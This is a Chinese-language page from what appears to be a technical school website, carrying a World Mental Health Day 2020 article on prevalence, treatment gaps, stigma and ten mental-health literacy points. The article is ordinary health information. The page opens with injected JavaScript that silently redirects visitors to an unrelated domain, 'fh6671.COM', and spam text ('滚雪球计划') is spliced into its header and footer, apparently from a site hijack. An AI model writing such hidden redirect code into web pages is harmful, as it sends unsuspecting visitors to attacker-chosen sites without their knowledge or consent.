function jumurl(){ window.location.href = 'fh6671.COM' } setTimeout(jumurl,2000); jumurl();

滚雪球计划

当前位置: 主页 > 新闻资讯 > 心理专栏 >

世界精神卫生日 | 让我们共同关注心理健康

时间:2020-10-10 09:01来源:未知 作者:桐城技校 点击:
“世界精神卫生日”是由世界精神病学协会(World Psychiatric Association WPA)在1992年发起的,时间是每年的10月10日。2020年世界精神卫生日主题为“弘扬抗疫精神,护佑心理健康”。
 

什么是精神卫生?

世界卫生组织认为,精神卫生是指一种健康状态,在这种状态中,每个人都能够认识到自身潜力,能够适应正常的生活压力,能够有成效地工作,并能够为其居住的社区做出贡献。

 

狭义上的精神卫生包括了心理健康的促进和精神障碍预防、诊断、治疗、康复;广义上的精神卫生指咨询、针对健康者的素养提高。精神压力导致的不良结果往往呈爆发式,会导致其产生极端行为,即使其产生的生理性疾病有临床解决方案,但患者是否配合治疗才是关键,所以精神卫生概念的提出具有重要的意义。

 

为何提出精神卫生这一概念

精神卫生相关疾病它可发生在各年龄阶段——留守儿童因缺乏家庭教育而心理发育不健全;父母过度溺爱的子女也往往形成不良的行为习惯、错误的社会认知;青少年情绪易波动,容易受到外界不良情绪的干扰而产生错误的行为,同时,较大的学习压力会给青少年的身心发展带来负面影响;青年人步入社会往往面对着巨大的就业压力,复杂的人际关系会给心理脆弱的人带来较大的打击;青年到中年,除了就业压力还有家庭责任带来的压力,购买房产、养育子女、赡养老人等等需要巨大的经济支出以及精力;老年人往往因独居缺少陪伴与关爱产生负面消极的情绪;患有残疾的病人因自卑产生的精神障碍。

 

为什么要关注精神心理健康?

1、发病率高

根据最新的中国大样本流行病学调查,我国成人精神障碍的总体患病率为16.6%,而发达国家甚至更高。美国《经济学人The Economist》曾有文章指出,社会愈富裕,人们的心理健康问题就愈多。在物质生活改善,而精神压力日益增大的今天,精神疾病的发病率有明显增加的趋势,人们也就更应该关注心理健康。

2、疾病负担重

多数精神疾病为慢性疾病,病程长,难以根治,治疗较为困难,对患者、照料者、整个家庭和社会均造成严重的健康和经济负担。其所造成的疾病负担以间接负担为主,往往容易被人忽视。而实际上,精神疾病在全球是引起疾病负担非常重的一类疾患,根据国际上的调查,抑郁障碍带来的疾病负担已经是慢性病中的第一名。世卫组织估计,每年约有80万人死于自杀。精神障碍也是中国由于残疾造成的健康寿命损失的第二大原因。

3、诊疗率低

患有严重精神疾病的人中,约四分之三的患者没有进行有效治疗。在中国只有不足6%的焦虑、抑郁、药物滥用、痴呆症及癫痫患者寻求过治疗。

4、污名化严重

一项由世界精神病协会资助的,对联合国193个成员国法律及政策的调查显示,在婚姻、选举权、就业等多个领域,均存在显著的针对精神疾病患者的歧视。

 

我们能做些什么?

1、关注心理健康,理性看待心理问题

关注心理健康,不再简单的将心理问题归结为压力大、过于劳累等等。通过对精神心理疾病的认识,可以帮助大众正视现实,摆脱对精神心理疾病的误解。关注个人及身边亲友的身心健康,及早有意识地观察周围潜在心理问题及影响因素,更好地帮助自己与他人。

2、寻求专业机构的帮助,遵从医生指导

如果发觉自己近期心理变化很大,无法进行正常的工作和人际交往,请及时就医,寻求专业的判断和指导。患者接受心理治疗或药物治疗时,要听从精神科医生的指导,每天按时服药,不要自己任意使用,也不要自行减药停药,定期到门诊复诊。

3、平常心面对精神患者

绝大部分的精神障碍都是可以通过规范治疗缓解症状,甚至消除症状,进行正常的工作与学习。平常心面对疾病,保持积极心态,勇敢面对生活。减少对精神患者的歧视,支持患者更好的回归社会。

 

心理健康素养十条

其实,心理健康与我们每个人息息相关。幸运的是我们日益认识到精神健康的重要性。对于心理问题而言,正视问题,积极治疗是非常重要的。国家卫健委疾控局结合中科院心理健康素养网络调查结果,编写了心理健康素养十条,如下:

 

  • 强调心理健康是健康的重要组成部分,身心健康密切关联、相互影响。

  • 适量运动有益于情绪健康,可预防、缓解焦虑抑郁。

  • 出现心理问题积极求助,是负责任、有智慧的表现。

  • 睡不好,别忽视,可能是心身健康问题。

  • 抑郁、焦虑可有效防治,需及早评估、积极治疗。

  • 服用精神类药物需遵医嘱,不滥用,不自行减停。

  • 儿童心理发展有规律,要多了解,多尊重,科学引导。

  • 预防老年痴呆,要多运动,多用脑,多接触社会。

  • 要理解和关怀精神心理疾病患者,不歧视,不排斥。

  • 用科学的方法缓解压力,不逃避,不消极。

 

文图来源:网络

------分隔线----------------------------

Copyright 2008-2015 ahtcjx.com All rights reserved. Optimized for 1280x800 to Firefox, MS-IE6、7、8、9、chrome.

滚雪球计划安徽桐城高级技工学校版权所有 咨询电话:0556-6567810 桐城市经济开发区(龙池路兴源路1号)

工信部备案号:皖ICP备07000876号 皖公网安备 34088102000140号 网络支持:华旗网络